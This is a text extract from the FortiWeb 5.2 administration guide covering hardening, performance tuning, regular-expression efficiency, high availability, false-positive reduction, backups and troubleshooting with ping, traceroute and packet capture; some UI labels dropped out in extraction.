Event logs record FortiGuard update attempts. In addition to scheduling polls for automatic updates, you can also manually update the service packages or initiate an connectivity test to the FDN at any time. For details, see
“Connecting to FortiGuard services” on page 143
.
Fortinet 639 FortiWeb 5.2 Patch 2 Administration Guide
Figure 73:FortiGuard Information widget
To keep informed about the latest security threats and news, visit: http://www.fortiguard.com
Vulnerability scans
After your initial deployment, it is a good idea to periodically scan your web servers for newly discovered vulnerabilities to current threats. If you discover new threats, adjust your configuration to combat them.
Without periodic scans, you may not be aware of the newest threats, and you may not have configured your FortiWeb defend against them.
For details, see “Vulnerability scans” on page 533
.
If you have many web servers, you may want a FortiScan appliance to:
• integrate and automate patch deployment
• deepen vulnerability scans
• prioritize and track fixes via ticketing
• offload and distribute scans to improve performance and remove bottlenecks
Fortinet 640 FortiWeb 5.2 Patch 2 Administration Guide
Fine-tuning & best practices
This topic is a collection of fine-tuning and best practice tips and guidelines to help you configure your FortiWeb appliances for the most secure and reliable operation.
While many features are optional or flexible such that they can be used in many ways, some practices are generally a good idea because they reduce complication, risk, or potential issues.
This section includes only recommendations that apply to a combination of multiple features, to the entire appliance, or to your overall network environment.
For feature-specific recommendations, see the tips in each feature’s instructions.
Hardening security
FortiWeb is designed to enhance the security of your web sites and web applications, and when fully configured, it can automatically plug holes commonly used by attackers to compromise a system.
This section lists tips to further enhance security.
Topology
• To protect your web servers, install the FortiWeb appliance or appliances between the web servers and a general purpose firewall such as a FortiGate. FortiWeb complements, and
does not replace, general purpose firewalls. FortiWeb appliances are designed specifically to address HTTP/HTTPS threats; general purpose firewalls have more features to protect at lower layers of the network.
• Make sure web traffic cannot bypass the FortiWeb appliance in a complex network environment.
• Disable all network interfaces that should not receive any traffic.
Figure 74:Disabling port4 in
System > Network > Interface
For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers are connected to port3, you would disable (“bring down”) port4. This
Fortinet 641 FortiWeb 5.2 Patch 2 Administration Guide
would prevent an attacker with physical access from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.
• Define the IP addresses of other trusted load balancers or web proxies to prevent spoofing
).
Fortinet
Administrator access
• As soon as possible during initial FortiWeb setup, give the default administrator, admin, a password. This super-administrator account has the highest level of permissions possible, and access to it should be limited to as few people as possible.
• Change all administrator passwords regularly. Set a policy — such as every 60 days — and follow it. (Click the
Edit Password
icon to reveal the password dialog.)
Figure 75:
Edit Password
dialog in
System > Admin > Administrators
• Instead of allowing administrative access to the FortiWeb appliance from any source, restrict it to trusted internal hosts. (IPv6 entries of ::/0 will be ignored, but you should configure all
IPv4 entries.) See “Trusted hosts” on page 56
. On those computers that you have designated for management, apply strict patch and security policies. Always password-encrypt any FortiWeb configuration backup that you download to those computers to mitigate the information that attackers can gain from any potential compromise. See
“Encryption Password” on page 218
.
642 FortiWeb 5.2 Patch 2 Administration Guide
Figure 76:
New Administrator
dialog in
System > Admin > Administrators
• Do not use the default administrator access profile for all new administrators. Create one or more access profiles with limited permissions tailored to the responsibilities of the new administrator accounts. See
“Configuring access profiles” on page 226 .
• By default, an administrator login that is idle for more than five minutes times out. You can change this to a longer period in
, but Fortinet does not recommend it. Left unattended, a web UI or CLI session could allow anyone with physical access to your computer to change FortiWeb settings. Small idle timeouts mitigate this risk.
• Administrator passwords should be at least 8 characters long and include both numbers and letters. For additional security, use
passwords. See
“Global web UI & CLI settings” on page 56 .
Figure 77:Strengthening passwords and the idle timeout
System > Admin > Settings
Fortinet
• Restrict administrative access to a single network interface (usually port1), and allow only the management access protocols needed.
643 FortiWeb 5.2 Patch 2 Administration Guide
Figure 78:Restricting accepted administrative protocols in the
Edit Interface
dialog in
System > Network > Interface
Use only the most secure protocols. Disable
, except during troubleshooting. Disable
unless the network interface only connects to a trusted, private
administrative network. See “Configuring the network interfaces” on page 121 .
• Disable all network interfaces that should not receive any traffic.
Figure 79:Disabling port4 in
System > Network > Interface
Fortinet
For example, if administrative access is typically through port1, the Internet is connected to port2, and web servers are connected to port3, you would disable (“bring down”) port4. This would prevent an attacker with physical access from connecting a cable to port4 and thereby gaining access if the configuration inadvertently allows it.
• Similar to applying trusted host filters to your FortiWeb administrative accounts, apply URL access control rules to limit potentially malicious access to the administrative accounts of
each of your web applications from untrusted networks. See “Restricting access to specific
User access
• Authenticate users only over encrypted channels such as HTTPS, and require mutual authentication — the web server or FortiWeb should show its certificate, but the client should also authenticate by showing its certificate. Password-based authentication is less secure than PKI authentication. For certificate-based client authentication, see
“How to apply PKI client authentication (personal certificates)” on page 310 . For certificate-based
server/FortiWeb authentication, see
“How to offload or inspect HTTPS” on page 300 .
• Immediately revoke certificates that have been compromised. If possible, automate the distribution of certificate revocation lists (see
“Revoking certificates” on page 336 ).
644 FortiWeb 5.2 Patch 2 Administration Guide
Signatures & patches
• Upgrade to the latest available firmware to take advantage of new security features and
stability enhancements (see “Updating the firmware” on page 85 ).
• Use FortiWeb services to take advantage of new definitions for viruses, predefined robots, data types, URL patterns, disreputable clients, and attack signatures.
Update methods can be either:
• Manual (see
“Uploading signature & geography-to-IP updates” on page 155
or
“Manually initiating update requests” on page 153 )
•
Automatic (see “Scheduling automatic signature updates” on page 150
)
Figure 80:
System > Config > FortiGuard
Fortinet
Buffer hardening
While analyzing traffic, FortiWeb’s HTTP parser must extract and buffer each part in the request or response. The buffer allows FortiWeb to scan and/or rewrite it before deciding to block or forward the finished traffic. Buffers are not infinite — due to the physical limitations inherent in all RAM, they are allocated a maximum size. If the part of the request or response is too large to fit the buffer, FortiWeb must either pass or block the traffic without further analysis of that part.
Practically speaking, while oversized requests are not common, when they do exist, they may be harmless. Movie uploads are a common example. HTTP GET requests involving many database queries with encrypted values are another example. In these cases, hardening the
645 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet buffer could result in many false positives during normal use. Such false positives are to be avoided because the flood of information could distract you from real attacks.
In terms of attacks, large DoS attacks from a single attacker are impractical: if the attacking host must consume its own bandwidth or CPU faster than the web server can process it, the attack won’t work. Therefore DoS request traffic is unlikely to be oversized.
Determined attackers, though, often craft oversized requests to mask an exploit. Tactics to pad an attack with harmless data in order to push the payload beyond the scan buffer are popular with more knowledgeable and motivated APT attackers, and with black hat researchers crafting exploit packages for Metasploit and other tools that ultimately land in the hands of script kiddies. Similar to buffer overflow attacks, these padded attacks attempt to bypass and exploit inherent limits. If a request cannot fit into the buffer, it might be a padded attack.
If your web applications do not require oversized requests to work, you can toughen
security by blocking oversized requests. Configure HTTP constraints with
etc. (see
“HTTP/HTTPS protocol constraints” on page 463
). Also configure exceptions for URLs that require you to ignore the buffer limitations, such as music or movie uploads.
To determine your appropriate HTTP constraints, first observe your normal traffic. Compare it with FortiWeb’s buffer counts and maximum sizes.
Table 58: FortiWeb buffer configuration
Buffer Limit Block oversized requests using
URL size, excluding appended parameters and the parameter delimiter
( ? ) (e.g. /path/to/app)
Usually 2 KB
URL parameters’ total size
URL parameter’s individual size
Buffer
Configurable
(see http-cach
esize
in the
FortiWeb
CLI
Reference
)
Number of parameters
HTTP header lines’ total size
HTTP header line’s individual size
Number of HTTP header lines
64
4 KB
Buffer
32
Number of Header Lines In Request
Cookies’ total size
Number of cookies
Adobe Flash (AMF) parameters’ total size
Number of Adobe Flash (AMF) parameters
2 KB
32
Buffer
32
646 FortiWeb 5.2 Patch 2 Administration Guide
Table 58: FortiWeb buffer configuration
Buffer
File uploads’ total size
Number of file uploads
Limit
Buffer
8
Block oversized requests using
Other buffers also exist. Their limitations, however, vary dynamically.
Enforcing valid, applicable HTTP
• If your web server does not require anything other than GET or POST, disable unused HTTP methods to reduce vectors of attack. See
“Specifying allowed HTTP methods” on page 459
.
• Enforce RFC compliance and any limitations specific to your back-end web servers or
applications to defeat exploit attempts. See “HTTP/HTTPS protocol constraints” on page 463
and
“Limiting file uploads” on page 475
.
Sanitizing HTML application inputs
Most web applications are not written with security in mind, and do not correctly sanitize input.
Before a signature or patch is available, you can still block new input-related attacks by rejecting all invalid input that could potentially break the intended behavior of ASP, PHP,
JavaScript or other applications. See “Validating parameters (“input rules”)” on page 444 and
“Preventing tampering with hidden inputs” on page 453
.
Improving performance
When configuring your FortiWeb appliance and its features, there are many settings and practices that can yield better performance.
System performance
• Delete or disable unused policies. FortiWeb allocates memory with each server policy, regardless of whether it is actually in active use. Configuring extra policies will unnecessarily consume memory and decrease performance.
• To reduce latency associated with DNS queries, use a DNS server on your local network as your primary DNS. See
“Configuring DNS settings” on page 139 .
• If your network’s devices support them, you can create one or more VLAN interfaces. VLANs reduce the size of a broadcast domain and the amount of broadcast traffic received by
network hosts, thus improving network performance. See “Adding VLAN subinterfaces” on page 125
.
• If you have enabled the server health check feature as part of a server farm and one of the servers is down for an extended period, you may improve the performance of your FortiWeb appliance by disabling the physical server, rather than allowing the server health check to
Fortinet 647 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet continue checking for the server's responsiveness. See
“Configuring server up/down checks” on page 265 .
•
• Use
Period Block
if possible as the
setting for DoS protection rules. This allows
FortiWeb to conserve scanning resources that will by definition be under heavy demand during a DoS or DDoS attack.
Antivirus performance
• Disable scanning of BZIP2 if it is not necessary.
• Reduce the scanning buffer to the minimum necessary.
• Reduce the number of redundant levels of compression that FortiWeb will scan. Normally, people will not put a ZIP file within a ZIP file, because it is inconvenient to open and does not offer significant compression ratio improvements. Nested compression is usually used by viruses to bypass antivirus scanners.
Regular expression performance tips
• Use a simple string instead if possible. Generally, regular expressions should only be used when defining all matching text requires a complex pattern. Regular expressions such as:
^.*/index\.html$ are usually more computationally intensive than a literal string comparison such as:
/index.html
• Reduce evaluation complexity.
Short regular expressions can sometimes be more complex to compute. Don’t look at the number of characters in the regular expression. Instead, think of both the usual and worst possible case in the match string: the maximum number of characters that must be compared to the pattern before a match can be verified or not.
The usual case will tell you the average CPU and RAM load. The worst case will tell you if your regular expression could sometimes cause potential hang-like conditions, temporarily blocking traffic throughput until it finishes evaluating.
If the worst possible match string is short and not complex to match, the regular expression may not be worth your time to optimize.
For example, when using auto-learning to discover if street addresses are a valid input, scanning for postal codes or state abbreviations instead may dramatically improve performance. A pattern to fully match all possible street addresses is significantly more
648 FortiWeb 5.2 Patch 2 Administration Guide
complex, involving many more computations, and the most difficult addresses to verify might be complex enough to impact traffic throughput.
If missed matches are an acceptable performance trade-off (for example, if matching 99% of cases is efficient, but matching 100% of cases would require deep recursion), or if you do not need to match the whole text, remove the unnecessary part of the regular expression.
For example, if a phone number always resembles 555-5555, your regular expression would not have to accommodate cases where a space separates the numbers, or it is prefixed by a country code. This is less comprehensive, but also less CPU-intensive.
• Avoid backtracking (i.e. revisiting the match string after failing to match part of the pattern).
Backtracking occurs when regular expression features use recursion (definite or indefinite).
This can increase execution time exponentially. Examples include the following:
• Avoid nested parentheses with indefinite repeats such as:
^((a+)b+)* which can take a very long time to evaluate, especially if a long string does not match, but this cannot be determined until the very last character is evaluated.
In the above example, both the + and * indicate matches that repeat potentially infinitely, forcing the regular expression engine to continue until it finds the longest possible match
(or runs out of RAM; see “Killing system-intensive processes” on page 687
). Using both in a nested set of parentheses compounds the problem.
• Minimize capture groups and back-references such as:
(/a)(/b)/(c)
$0$1\?user=$2
To use back-references, FortiWeb must keep the text that matched the capture groups in memory, which increases RAM consumption.
• Order matters if using alternate match patterns (i.e. multiple patterns are concatenated with a pipe ( | )). Put rare patterns last. If you put less likely patterns first, most times
Fortinet 649 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
FortiWeb will be evaluating the string multiple times — not once — before it finds a match. This significantly decreases performance.
When comparing single characters, use character classes such as:
[abc] instead of alternative matches like
(a|b|c)
Match character by character, not word by word. If words begin with the same characters, it is not efficient to evaluate the beginning of the match string multiple times
— once for each possible word.
For example, to match the words “the”, “then”, “this”, and “these”, this expression is easy to read, but inefficient because it evaluates the first two characters (“th”) up to 4 times:
\b(this|the|then|these)\b
While harder to read, this expression improves performance, evaluating “th” once, and will match the most common word in English (“the”) before considering less probable words:
\bth(e(n|se)|is)\b
• Reduce nested quantifiers such as:
(abc){1,6}
(abc)+
Worst-case evaluations do not increase computation time linearly, but exponentially.
When such an expression is compiled, it also consumes much more RAM. Use the smallest possible repetition, or an alternative expression.
• Avoid Unicode character properties such as /p{Nd} if you can use a character class instead. Due to the huge numbers and complexity of potential matches in Unicode, these can be dramatically slower.
• Avoid look-ahead match conditions such as:
?=abcdefge
?!abcdefge
To do this, FortiWeb must make additional computations — in the example above, 8 in the best case scenario, an immediate match. FortiWeb also must keep the originally consumed match string in memory while it does this, which increases RAM consumption.
Logging performance
• If you have a FortiAnalyzer, store FortiWeb’s logs on the FortiAnalyzer to avoid resource
.
• If you do not need a traffic log, disable it to reduce the use of system resources. See
“Enabling log types, packet payload retention, & resource shortage alerts” on page 575 .
• Reduce repetitive log messages. Use the alert email settings, as shown in Figure 81 , to define the interval that emails are sent if the same condition persists following the initial
occurrence. See “Configuring email settings” on page 608
.
650 FortiWeb 5.2 Patch 2 Administration Guide
Figure 81:
Log&Report > Log Policy > Email Policy
• Avoid recording log messages using low severity thresholds, such as information or notification, to the local hard disk for an extended period of time. Excessive logging frequency saps system resources and can cause undue wear on the hard disk and may cause premature failure. See
“Configuring log destinations” on page 579
.
Report performance
Generating reports can be resource intensive. To avoid performance impacts, consider scheduling report generation during times with low traffic volume, such as at night and on weekends. See Figure 82
and “Scheduling reports” on page 628 .
Fortinet 651 FortiWeb 5.2 Patch 2 Administration Guide
Figure 82:
Log&Report > Report Config > Report Config
Fortinet
Keep in mind that most reports are based upon log messages. All caveats regarding log performance also apply.
Auto-learning performance
•
Each URL in an auto-learning report includes the right-click menu option
. If a
URL is dynamic or hard to predict effectively and may generate inaccurate data, you can
• Once you have collected enough auto-learning data for generating protection profiles, consider turning off the auto-learning function to save resources. To do so, deselect the
.
• Use less computationally intensive data types and suspicious URLs, and disable unneeded
ones, where possible. See “Regular expression performance tips” on page 648 .
• Reduce the list of predefined data type groups to include just those the FortiWeb appliance is likely to encounter when gathering data for an auto-learning report. By pruning the list, you reduce the resources used to recognize data types, freeing them to improve the throughput of the FortiWeb appliance. See
“Grouping predefined data types” on page 180
.
652 FortiWeb 5.2 Patch 2 Administration Guide
Figure 83:
Auto Learn > Predefined Pattern > Data Type Group
Fortinet
• When configuring a suspicious URL pattern, clear one or more web server type options if you do not operate all three web servers, as shown in Figure 84 . By pruning the list, you reduce the resources used by the FortiWeb appliance when applying the rule. See
“Grouping all suspicious request URLs” on page 184 .
653 FortiWeb 5.2 Patch 2 Administration Guide
Figure 84:
Auto Learn > Predefined Pattern > Suspicious URL
• When you configure a signature set as part of a web protection profile, consider limiting the scope and application of the
Information Disclosure
options shown in Figure 85 . (Click the blue arrow next to
Information Disclosure
to see the list.)
Do you need to watch for all information types? If not, disable them to increase performance.
Disable signatures that do not apply to your web servers. For example, if your web server does not run Adobe ColdFusion, you could disable
CF Source Code Leakage
to omit that scan
and improve performance. See “Specifying URLs allowed to initiate sessions” on page 438
.
Fortinet 654 FortiWeb 5.2 Patch 2 Administration Guide
Figure 85:Disabling unnecessary server information disclosure signatures in
Web Protection >
Known Attacks > Signatures
The
Information Disclosure
feature can potentially require the FortiWeb appliance to rewrite the header of every request from a server, resulting in reduced performance. Fortinet recommends enabling this feature only to help you identify information disclosure through logging, and until you can reconfigure the server to omit such sensitive information. Clear the
All / None
check box to disable the feature.
• If you use the web anti-defacement feature, tune your configuration to avoid backing up overly large files. See Figure 86
and “Anti-defacement” on page 526 .
Figure 86:Omitting large files from the backup in
Web Anti-Defacement >
Web Anti-Defacement >Web Site with Anti-Defacement
Fortinet
Unless you need to back up large files, reduce the setting for the
Skip Files Larger Than
option from the default of 10 240 KB.
Use the
Skip Files With These Extensions
option to exclude specific types of large files, such as compressed files and video clips.
655 FortiWeb 5.2 Patch 2 Administration Guide
Vulnerability scan performance
Vulnerability scan performance depends on the speed and reliability of your network. It also can be impacted by your configuration. See
“Delay Between Each Request” on page 539
.
Packet capture performance
Packet capture can be useful for troubleshooting but can be resource intensive. (See
.) To minimize the performance impact on your FortiWeb appliance, use packet capture only during periods of minimal traffic. Use a local console CLI connection rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished.
Improving fault tolerance
To enhance availability, set up two FortiWeb appliances to act as an active-passive high availability (HA) pair. If your main FortiWeb appliance fails, the standby FortiWeb appliance can continue processing web traffic with only a minor interruption. For details, see
“Configuring a high availability (HA) FortiWeb cluster” on page 105
.
Keep these points in mind when setting up an HA pair:
• Isolate HA interface connections from your overall network.
Heartbeat and synchronization packets contain sensitive configuration information and can consume considerable network bandwidth. For best results, directly connect the two HA interfaces using a crossover cable. If your system uses switches instead of crossover cables to connect the HA heartbeat interfaces, those interfaces must be reachable by Layer 2 multicast.
•
When configuring an HA pair, pay close attention to the options
Fortinet 656 FortiWeb 5.2 Patch 2 Administration Guide
Figure 87:
System > Config > HA-Config
The FortiWeb appliance broadcasts ARP packets to the network to ensure timely failover.
Delayed broadcast intervals can slow performance. Set the value of
no higher than needed.
When the FortiWeb appliance broadcasts ARP packets, it does so at regular intervals. For
performance reasons, set the value for
Some experimentation may be needed to set these options at their optimum value. See
“Configuring a high availability (HA) FortiWeb cluster” on page 105 .
Alerting the SNMP manager when HA switches the primary appliance
Use SNMP to generate a message if the HA heartbeat fails.
Figure 88:SNMP community’s event settings in
System > Config > SNMP
Configure an SNMP community and enable the
HA heartbeat failed
option. For details, see
“Configuring an SNMP community” on page 614 .
Reducing false positives
Focusing your energies on real attacks is vital. But often attacks differ from normal traffic in subtle ways.
Are 20 requests per second per client a DoS attack? Is a request URL with 250 characters abnormally long? Should form inputs allow SQL queries?
Fortinet 657 FortiWeb 5.2 Patch 2 Administration Guide
How many of your attack logs are real, and how many are false positives?
Normal traffic is your best judge. Use it to adjust your FortiWeb’s protection settings and reduce attack logs that aren’t meaningful.
For example, social media buttons for Twitter append an encoded version of your web page’s
URL as long parameters named original_referer and url after the request URL to twitter.com.
<script src="http://cdn.api.twitter.com/1/urls/count.json?url=http%3A%2F%2Fwww.cbc.ca%2Fnews%2F
Long URL with encoded parameter
Fortinet
This is normal, and used by Twitter to pre-fill the viewer’s tweet about your web site. This way, your readers do not need to manually abbreviate and then paste your URL into their tweet. Long request URLs (and parameters) are therefore typical for Twitter, and therefore would not necessarily be indicative of a security bypass attempt.
On other web applications, however, where URLs and parameters are short, this might be suspicious — it could be part of a clickjacking, URL-encoded shell code, or padded exploit. In those cases, you might create a shorter HTTP constraint (see
“HTTP/HTTPS protocol constraints” on page 463
).
Likewise, a single corporate front page or Zenphoto gallery page might involve 81 requests for images, JavaScripts, CSS pages, and other external components. A search page, however, might normally only have 6 requests, and merit a lower threshold when configuring rate limiting
(
“Rate limiting” on page 356 ).
This means that “normal” is often relative to your web applications.
658 FortiWeb 5.2 Patch 2 Administration Guide
Site A
81 requests total
Fortinet
Site B
6 requests total
Request rate is too low for Site A, but OK for Site B
659 FortiWeb 5.2 Patch 2 Administration Guide
Use Alert to monitor for false positives before switching to
Alert & Deny
If practical, use FortiWeb’s auto-learning to study traffic and suggest appropriate rules.
Alternatively, you can enable a feature with the
set to
Alert
, then adjust the thresholds, create exceptions, or disable signatures until you no longer receive many false positives, yet still detect attacks. Enable extended attack signature sets gradually, checking for excessive false positives after you enable each one. (Extended signature sets can contain signatures that are necessary in come cases, but are known sources of false positives.)
For recommended initial rate limit thresholds, see the documentation for each setting.
Fortinet
If a signature causes false positives, but disabling it would allow attacks, you can use packet capture and analysis tools such as Wireshark to analyze the differences between your typical
) targeting the attacks but excluding your normal traffic.
If you need to save time, or don’t feel comfortable doing this, you can contact Fortinet Technical
Support for professional services .
If you have written an attack signature yourself, or used regular expressions to define large sets of web pages where you will be applying rate limiting, be sure to use the
>>
(test) button with
and other similar settings to check:
•
your regular expression’s syntax (see “Regular expression syntax” on page 704 )
• all expected matches
• all non-matches
Regular expressions that do not match enough attack permutations cause false negatives; regular expressions that match unintended traffic cause false positives.
660 FortiWeb 5.2 Patch 2 Administration Guide
Regular backups
Make a backup before executing operations that can cause large configuration changes, such as:
• Upgrading the firmware
• Running the CLI commands execute factoryreset or execute restore
• Clicking the
Reset
button in the
System Information
widget on the dashboard
• Changing the operation mode
To mitigate impact in the event of a network compromise, always password-encrypt your backups.
There are two backup methods:
•
Manual (see “To back up the configuration via the web UI” on page 215 )
Figure 89:
System > Maintenance > Backup & Restore
Fortinet
•
Via FTP/SFTP (see “To back up the configuration via the web UI to an FTP/SFTP server” on page 217
).
To lessen the impact on performance, schedule the FTP backup time for off-peak hours.
661 FortiWeb 5.2 Patch 2 Administration Guide
Figure 90:
System > Maintenance > FTP Backup
Downloading logs in RAM before shutdown or reboot
Event log messages stored in memory are cleared when the FortiWeb appliance shuts down. If you require the ability to save a few logs, you can copy and paste the HTML from the GUI page that is displaying the memory logs. Otherwise, if you need to be able to keep and download
and “Downloading log messages” on page 600
.
Fortinet 662 FortiWeb 5.2 Patch 2 Administration Guide
Troubleshooting
This topic provides guidelines to help you resolve issues if your FortiWeb appliance is not behaving as you expect.
Keep in mind that if you cannot resolve the issue on your own, you can contact Fortinet
Technical Support .
See also
•
•
•
•
•
Restoring firmware (“clean install”)
Tools
To locate network errors and other issues that may prevent connections from passing to or through the FortiWeb appliance, FortiWeb appliances feature several troubleshooting tools.
Troubleshooting methods and tips may use:
• the command line interface (CLI)
• the web UI
• external third-party tools
Some CLI commands provide troubleshooting information not available through the web UI; third-party tools on external hosts can test connections from perspectives that cannot be achieved locally.
See also
•
•
•
•
Ping & traceroute
If your FortiWeb appliance cannot connect to other hosts, try using ICMP (ping and traceroute
) to determine if the host is reachable or to locate the node of your network at which connectivity fails, such as when static routes are incorrectly configured. You can do this from the FortiWeb appliance using CLI commands.
Fortinet 663 FortiWeb 5.2 Patch 2 Administration Guide
For example, you might use ping to determine that 172.16.1.10 is reachable: execute ping 172.16.1.10
PING 172.16.1.10 (172.16.1.10): 56 data bytes
64 bytes from 172.16.1.10: icmp_seq=0 ttl=64 time=2.4 ms
64 bytes from 172.16.1.10: icmp_seq=1 ttl=64 time=1.4 ms
64 bytes from 172.16.1.10: icmp_seq=2 ttl=64 time=1.4 ms
64 bytes from 172.16.1.10: icmp_seq=3 ttl=64 time=0.8 ms
64 bytes from 172.16.1.10: icmp_seq=4 ttl=64 time=1.4 ms
--- 172.20.120.167 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss round-trip min/avg/max = 0.8/1.4/2.4 ms or that 192.168.1.10 is not reachable: execute ping 192.168.1.10
PING 192.168.1.10 (192.168.1.10): 56 data bytes
Timeout ...
Timeout ...
Timeout ...
Timeout ...
Timeout ...
--- 192.168.1.10 ping statistics ---
5 packets transmitted, 0 packets received, 100% packet loss
If the host is not reachable, you can use traceroute to determine the router hop or host at which the connection fails: execute traceroute 192.168.1.10
traceroute to 192.168.1.10 (192.168.1.10), 32 hops max, 72 byte packets
1 192.168.1.2 2 ms 0 ms 1 ms
2 * * *
For more information on CLI commands, see the
FortiWeb CLI Reference
. For more information
on troubleshooting connectivity, see “Connectivity issues” on page 674 .
Both ping and traceroute require that network nodes respond to ICMP. If you have disabled responses to ICMP on your network, hosts may appear to be unreachable to ping and traceroute
, even if connections using other protocols can succeed.
Fortinet
Log messages
Log messages often contain clues that can aid you in determining the cause of a problem.
FortiWeb appliances can record log messages when errors occur that cause failures, upon significant changes, and upon processing events.
Depending on the type, log messages may appear in either the event, attack, or traffic logs. The
FortiWeb appliance must be enabled to record event, attack, and traffic log messages; otherwise, you cannot analyze the log messages for events of that type. To enable logging of different types of events, select Log&Report > Log Config > Other Log Settings.
664 FortiWeb 5.2 Patch 2 Administration Guide
During troubleshooting, you may find it useful to reduce the logging severity threshold for more verbose logs, to include more information on less severe events. To configure the severity threshold, go to Log&Report > Log Config > Global Log Settings.
Diff
You can compare backups of the core configuration file with your current configuration. This can be useful if, for example:
• A previously configured feature is no longer functioning, and you are not sure what in the configuration has changed.
• You want to recreate something configured previously, but do not remember what the settings were.
Difference programs can help you to quickly find all changes.
Figure 91:Configuration differences highlighted in WinMerge
Fortinet
There are many such difference-finding programs, such as WinMerge and the original diff . They can compare your configurations, line by line, and highlight parts that are new, modified, or deleted.
For instructions, see your difference program’s documentation.
See also
•
•
Establishing a system baseline
•
Determining the source of the problem
665 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Packet capture
Packet capture, also known as sniffing or packet analysis, records some or all of the packets seen by a network interface (that is, the network interface is used in promiscuous mode). By recording packets, you can trace connection states to the exact point at which they fail, which may help you to diagnose some types of problems that are otherwise difficult to detect.
FortiWeb appliances have a built-in sniffer. Packet capture on FortiWeb appliances is similar to that of FortiGate appliances. To use the built-in sniffer, connect to the CLI and enter the following command: diagnose network sniffer packet [{any | <interface_name>}
[{none | '<filter_str>'} [{1 | 2 | 3} [<packets_int>]]]] where:
•
<interface_name>
is either the name of a network interface, such as port1, or enter any for all interfaces.
•
'<filter_str>'
is the sniffer filter that specifies which protocols and port numbers that you do or do not want to capture, such as 'tcp port 80', or enter none for no filters.
Filters use tcpdump syntax.
•
{1 | 2 | 3} is an integer indicating whether to display the network interface names, packet headers, and/or payloads for each packet that the network interface sends, receives, or sees:
•
1
— Display the packet capture timestamp, plus basic fields of the IP header: the source
IP address, the destination IP address, protocol name, and destination port number.
Does not display all fields of the IP header; it omits:
• IP version number bits
• Internet header length (ihl)
• type of service/differentiated services code point (tos)
• explicit congestion notification
• total packet or fragment length
• packet ID
• IP header checksum
• time to live (TTL)
• IP flag
• fragment offset
• options bits e.g.: interfaces=[port2] filters=[none]
0.655224 172.20.130.16.2264 -> 172.20.130.15.42574: udp 113
666 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
•
2
— All of the output from 1, plus the packet payload in both hexadecimal and ASCII. e.g.: interfaces=[port2] filters=[none]
0.915616 172.20.130.16.2264 -> 172.20.130.15.42574: udp 124
0x0000 4500 0098 d27d 4000 4011 0b8f ac14 8210 E....}@.@.......
0x0010 ac14 820f 08d8 a64e 0084 b75a 80e0 3dee .......N...Z..=.
0x0020 71b8 d617 38fa 3fd8 419b 5006 053c 99c1 q...8.?.A.P..<..
0x0030 e961 93bc 21c9 3197 a030 a709 76dc 0ed8 .a..!.1..0..v...
0x0040 98f8 ceef 6afb e7f2 7773 98e1 5ef7 bfbf ....j...ws..^...
0x0050 2f0d 726f 70cf 26cd d986 392f 4a0b f97b /.rop.&...9/J..{
0x0060 b84f 932d 3043 cbdd c2dc da77 0b73 70fc .O.-0C.....w.sp.
0x0070 158a 1868 eee0 793b c09e 7dc0 59f5 787c ...h..y;..}.Y.x|
0x0080 fc1a f25a dc18 735d f090 8e05 c3e8 c14f ...Z..s].......O
0x0090 3466 57c0 4688 58b8 4fW.F.X.
•
3
— All of the output from 2, plus the link layer (Ethernet) header. e.g.: interfaces=[port2] filters=[none]
0.317960 172.20.130.16.2264 -> 172.20.130.15.42574: udp 31
0x0000 50e5 49e8 dc3d 000f 7c08 2ff5 0800 4500 P.I..=..|./...E.
0x0010 003b 2cad 4000 4011 b1bc ac14 8210 ac14 .;,.@.@.........
0x0020 820f 08d8 a64e 0027 ea3c 80e0 981e 7474 .....N.'.<....tt
0x0030 6ddf 38fa 3fd8 419b 6e06 00f0 8dd5 e01d m.8.?.A.n.......
0x0040 810a e049 e5e9 380a f8 ...I..8..
•
<packets_int> is the number of packets the sniffer reads before stopping. Packet capture output is printed to your CLI display until you stop it by pressing Ctrl+C, or until it reaches the number of packets that you have specified to capture.
Packet capture can be very resource intensive. To minimize the performance impact on your
FortiWeb appliance, use packet capture only during periods of minimal traffic, with a local console CLI connection rather than a Telnet or SSH CLI connection, and be sure to stop the command when you are finished.
For example, you might capture all TCP port 443 (typically HTTPS) traffic occurring through port1, regardless of its source or destination IP address. The capture uses a high level of verbosity (indicated by 3).
A specific number of packets to capture is not specified. As a result, the packet capture continues until the administrator presses Ctrl+C. The sniffer then confirms that five packets were seen by that network interface.
667 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
(Verbose output can be very long. As a result, output shown below is truncated after only one packet.)
FortiWeb# diagnose network sniffer packet port1 'tcp port 443' 3 interfaces=[port1] filters=[tcp port 443]
10.651905 192.168.0.1.50242 -> 192.168.0.2.443: syn 761714898
0x0000 0009 0f09 0001 0009 0f89 2914 0800 4500
..........)...E.
0x0010 003c 73d1 4000 4006 3bc6 d157 fede ac16
.<s.@.@.;..W....
0x0020 0ed8 c442 01bb 2d66 d8d2 0000 0000 a002
...B..-f........
0x0030 16d0 4f72 0000 0204 05b4 0402 080a 03ab
..Or............
0x0040 86bb 0000 0000 0103 0303 ..........
Instead of reading packet capture output directly in your CLI display, you usually should save the output to a plain text file using your CLI client. Saving the output provides several advantages. Packets can arrive more rapidly than you may be able to read them in the buffer of your CLI display, and many protocols transfer data using encodings other than US-ASCII. It is often, but not always, preferable to analyze the output by loading it into in a network protocol analyzer application such as Wireshark ( http://www.wireshark.org/ ).
For example, you could use PuTTY or Microsoft HyperTerminal to save the sniffer output to a file. Methods may vary. See the documentation for your CLI client.
Requirements
• terminal emulation software such as PuTTY
• a plain text editor such as Notepad
• a Perl interpreter
• network protocol analyzer software such as Wireshark
To view packet capture output using PuTTY and Wireshark
1. On your management computer, start PuTTY.
2. Use PuTTY to connect to the FortiWeb appliance using either a local console, SSH, or Telnet connection. For details, see the FortiWeb
CLI Reference
.
3. Type the packet capture command, such as: diagnose network sniffer packet port1 'tcp port 443' 3 but do not press Enter yet.
668 FortiWeb 5.2 Patch 2 Administration Guide
4. In the upper left corner of the window, click the PuTTY icon to open its drop-down menu, then select Change Settings.
A dialog appears where you can configure PuTTY to save output to a plain text file.
5. In the Category tree on the left, go to Session > Logging.
6. In Session logging, select Printable output.
